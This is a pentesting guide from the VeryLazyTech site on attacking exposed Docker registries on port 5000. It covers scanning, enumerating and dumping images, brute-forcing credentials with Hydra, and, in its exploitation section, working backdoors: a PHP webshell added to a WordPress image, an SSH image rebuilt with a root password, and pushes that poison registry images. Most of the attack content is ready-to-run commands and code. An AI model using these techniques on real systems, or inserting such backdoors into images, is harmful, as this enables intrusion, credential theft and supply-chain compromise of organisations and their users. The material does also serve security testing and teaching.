> For the complete documentation index, see [llms.txt](https://www.verylazytech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.verylazytech.com/docker-registry-port-5000.md).

# Docker Registry - PORT 5000

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://whop.com/verylazytech/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://whop.com/verylazytech/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic Info

A **Docker registry** is a storage and distribution system for Docker images. These images are grouped into repositories, and each repository can store multiple tagged versions of an application or service. Registries allow developers to **upload (push)** their images and **download (pull)** them to deploy containers anywhere.

By default, Docker uses **DockerHub** as its public registry, but organizations often set up their own **on-premise Docker registries**—either with the open-source distribution or the commercial Docker Trusted Registry. Other public registries also exist across the internet.

For example, pulling an image from a private registry looks like this:

```bash
docker pull my-registry:9000/foo/bar:2.1
```

This fetches version `2.1` of the `foo/bar` image from the registry at `my-registry:9000`. From DockerHub, the same image (if `2.1` is the latest) can be pulled with a simpler command:

```bash
docker pull foo/bar
```

The default port for Docker Registry is **5000**, which appears in scans as:

```
PORT     STATE SERVICE  VERSION
5000/tcp open  http     Docker Registry (API: 2.0)
```

If this service is exposed without authentication, it can leak sensitive images, configs, and secrets directly to an attacker.

***

## Enumeration

The easiest way to discover a Docker Registry service is via **Nmap**:

```bash
nmap -p 5000 <target>
```

However, since Docker Registry is **HTTP-based**, it could also be hidden behind proxies or reverse proxies — meaning Nmap alone might not always detect it.

#### Fingerprinting Tricks:

* Accessing `/` → usually nothing is returned.
* Accessing `/v2/` → the service often returns an empty JSON:

```json
{}
```

* Accessing `/v2/_catalog` → may list all available repositories:

```json
{"repositories":["alpine","ubuntu"]}
```

* If authentication is enabled, you’ll often see:

```json
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
```

These simple checks confirm the service and tell you whether it’s open to the world or locked down.

***

**Using `.nse` (Nmap script engine)**

The default Docker Registry runs on **TCP port 5000**. Start by scanning:

```bash
nmap -p5000 --script http-docker-registry-discover <target>
```

Or with **Masscan** for a wide sweep:

```bash
masscan -p5000 0.0.0.0/0 --rate=10000 -oG docker.txt
```

If port 5000 is open, it’s worth testing further.

***

### HTTP/HTTPS (Using curl) <a href="#httphttps" id="httphttps"></a>

Docker registry may be configured to use **HTTP** or **HTTPS**. So the first thing you may need to do is **find which one** is being configured:

```bash
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

#If HTTP
{"repositories":["alpine","ubuntu"]}
```

**Enumerate tags**

```bash
curl http://<target>:5000/v2/app/tags/list
```

This shows available versions of the image.

#### Fetch the Manifest of a Specific Tag

```bash
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
```

#### Download a Blob (Layer)

```bash
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
```

#### Extract and Inspect the Layer

```bash
tar -xf blob1.tar
```

***

### Enumeration Using Docker

Beyond `curl`, you can interact directly with the target registry using the Docker client. This is often more convenient for downloading and inspecting images.

#### 1. Pull an Image from the Target Registry

Once you’ve enumerated the available repositories with `/v2/_catalog`, you can pull them directly:

```bash
docker pull 10.10.10.10:5000/ubuntu
```

#### 2. Review Image History

After pulling, check the history of the image to reveal the commands used to build its layers. These often expose secrets, build scripts, or configuration mistakes:

```bash
docker history 10.10.10.10:5000/ubuntu
```

Example output:

```
IMAGE               CREATED             CREATED BY                                      SIZE    COMMENT
ed05bef01522        2 years ago         ./run.sh                                        46.8MB
<missing>           2 years ago         /bin/sh -c #(nop)  CMD ["./run.sh"]             0B
<missing>           2 years ago         /bin/sh -c #(nop)  EXPOSE 80                    0B
<missing>           2 years ago         /bin/sh -c cp $base/mysql-setup.sh /            499B
<missing>           2 years ago         /bin/sh -c #(nop) COPY dir:0b657699b1833fd59…   16.2MB
```

**Why this matters:** Developers often bake in sensitive files during builds, then forget to remove them. Even if later layers overwrite these files, they remain in history.

#### 3. Run the Image

Start a container and obtain a shell:

```bash
docker run -it 10.10.10.10:5000/ubuntu bash
```

This drops you inside the container filesystem. Leave this running for exploration.

#### 4. Get Another Shell Inside the Running Container

From another terminal, list running containers:

```bash
docker ps
```

Then connect to it:

```bash
docker exec -it 7d3a81fe42d7 bash
```

**Pro Tip:** Using `docker exec`, you can pivot inside the container, look for SSH keys, environment variables, or misconfigured services — often leading to privilege escalation or lateral movement inside the target’s infrastructure.

***

## Automate tools for enum

### Enumeration using DockerRegistryGrabber

Manually enumerating a Docker Registry with `curl` works, but it can be **slow and repetitive** when dealing with many repositories, multiple tags, and authentication. That’s where [**DockerRegistryGrabber**](https://github.com/Syzik/DockerRegistryGrabber) comes in.

**DockerRegistryGrabber** is a Python tool that allows penetration testers to **enumerate and dump Docker registries** — both with and without authentication. It automates:

* Enumerating repositories (`/v2/_catalog`)
* Listing available image tags (`/v2/<repo>/tags/list`)
* Pulling and downloading layers locally for analysis
* Supporting Basic Authentication (username:password)

This makes it a powerful choice when exploring large or hidden registries that could store sensitive images.

#### Installation

Clone the repository and install dependencies:

```bash
git clone https://github.com/Syzik/DockerRegistryGrabber
cd dockerRegistryGrabber
pip install -r requirements.txt
```

#### Usage Examples

* **Unauthenticated Enumeration:**

  ```bash
  python3 dockerRegistryGrabber.py -u http://10.10.10.10:5000
  ```

  This will fetch repositories from the open registry.
* **Authenticated Enumeration:**

  ```bash
  python3 dockerRegistryGrabber.py -u http://10.10.10.10:5000 -a username:password
  ```

  Useful if the registry is protected by Basic Auth.
* **Dumping Images:**

  ```bash
  python3 dockerRegistryGrabber.py -u http://10.10.10.10:5000 -d
  ```

  This downloads the full image layers for offline inspection (config files, secrets, etc.).

<figure><img src="/files/mWY6s6jbbZ2nud7zwojM" alt=""><figcaption></figcaption></figure>

***

### Authentication

Docker Registry may also be configured to require **authentication**. The first check is as simple as hitting the catalog endpoint with `curl`:

```bash
curl -k https://192.25.197.3:5000/v2/_catalog
```

#### Possible Responses

* **If authentication is required:**

```json
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
```

* **If no authentication is required:**

```json
{"repositories":["alpine","ubuntu"]}
```

👉 If you encounter authentication, you can attempt **brute force** attacks against the registry’s credentials. Common wordlists like **rockyou.txt** can be used with tools such as Hydra or custom scripts.

Once valid credentials are discovered, you can use them to enumerate the registry. With `curl`, the syntax is:

```bash
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
```

**Hydra**

```
hydra -L /usr/share/seclists/wordlists/simple-users.txt  -P /usr/share/brutex/seclists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```

This will return the repositories available under that account, which you can then pull and inspect for secrets or misconfigurations.

***

## Exploitation

### Pulling Sensitive Images

If pulling is allowed:

```bash
docker pull <target>:5000/app:latest
```

Then inspect the image layers:

```bash
docker history <target>:5000/app:latest
docker run -it <target>:5000/app:latest /bin/sh
```

Hackers often extract secrets from inside these images. Look for:

* `.env` files
* Configs in `/app/config` or `/root/`
* Hardcoded passwords in source code

Example:

```bash
docker run --rm -it <target>:5000/backend:prod cat /app/config.yaml
```

***

### Backdooring Docker Images

Once you can **pull and push images** to a misconfigured Docker Registry, you effectively have the power to inject malicious code into production workloads. Two common exploitation techniques are **WordPress image backdooring** and **SSH image backdooring**.

#### Backdooring a WordPress Image

If the registry contains a WordPress image, you can embed a simple PHP webshell:

**1. Create your webshell**

```php
// shell.php
<?php echo shell_exec($_GET["cmd"]); ?>
```

**2. Create a Dockerfile that inserts it into WordPress**

```dockerfile
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
```

**3. Build and push the malicious image**

```bash
docker build -t 10.10.10.10:5000/wordpress .
docker images
docker push 10.10.10.10:5000/wordpress
```

**Result:** Next time the target pulls and runs this WordPress image, you’ll have remote code execution via the `/app/shell.php?cmd=id` endpoint.

***

### Backdooring an SSH Server Image

Attackers can also abuse SSH-based images for persistent access.

**1. Pull and run the target’s SSH image**

```bash
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
```

**2. Extract the SSH configuration file**

```bash
docker cp <container_id>:/etc/ssh/sshd_config .
```

Modify it to allow root login:

```
PermitRootLogin yes
```

**3. Create a Dockerfile that adds the modified config & a backdoor password**

```dockerfile
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
```

**4. Build and push the backdoored image**

```bash
docker build -t 10.10.10.10:5000/sshd-docker-cli .
docker images
docker push 10.10.10.10:5000/sshd-docker-cli
```

**Result:** If deployed, you gain root SSH access with the password you injected.

***

### Poisoning the Registry

If **push** is enabled without authentication, the situation is catastrophic. An attacker can **poison existing images**:

```bash
docker tag backdoor:latest <target>:5000/app:latest
docker push <target>:5000/app:latest
```

Now every time a developer pulls `app:latest`, they get your backdoor. This is **supply chain compromise** at its worst.

***

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://whop.com/verylazytech/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://whop.com/verylazytech/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://whop.com/verylazytech/)for e-books and courses.  📚

</details>
{% endhint %}
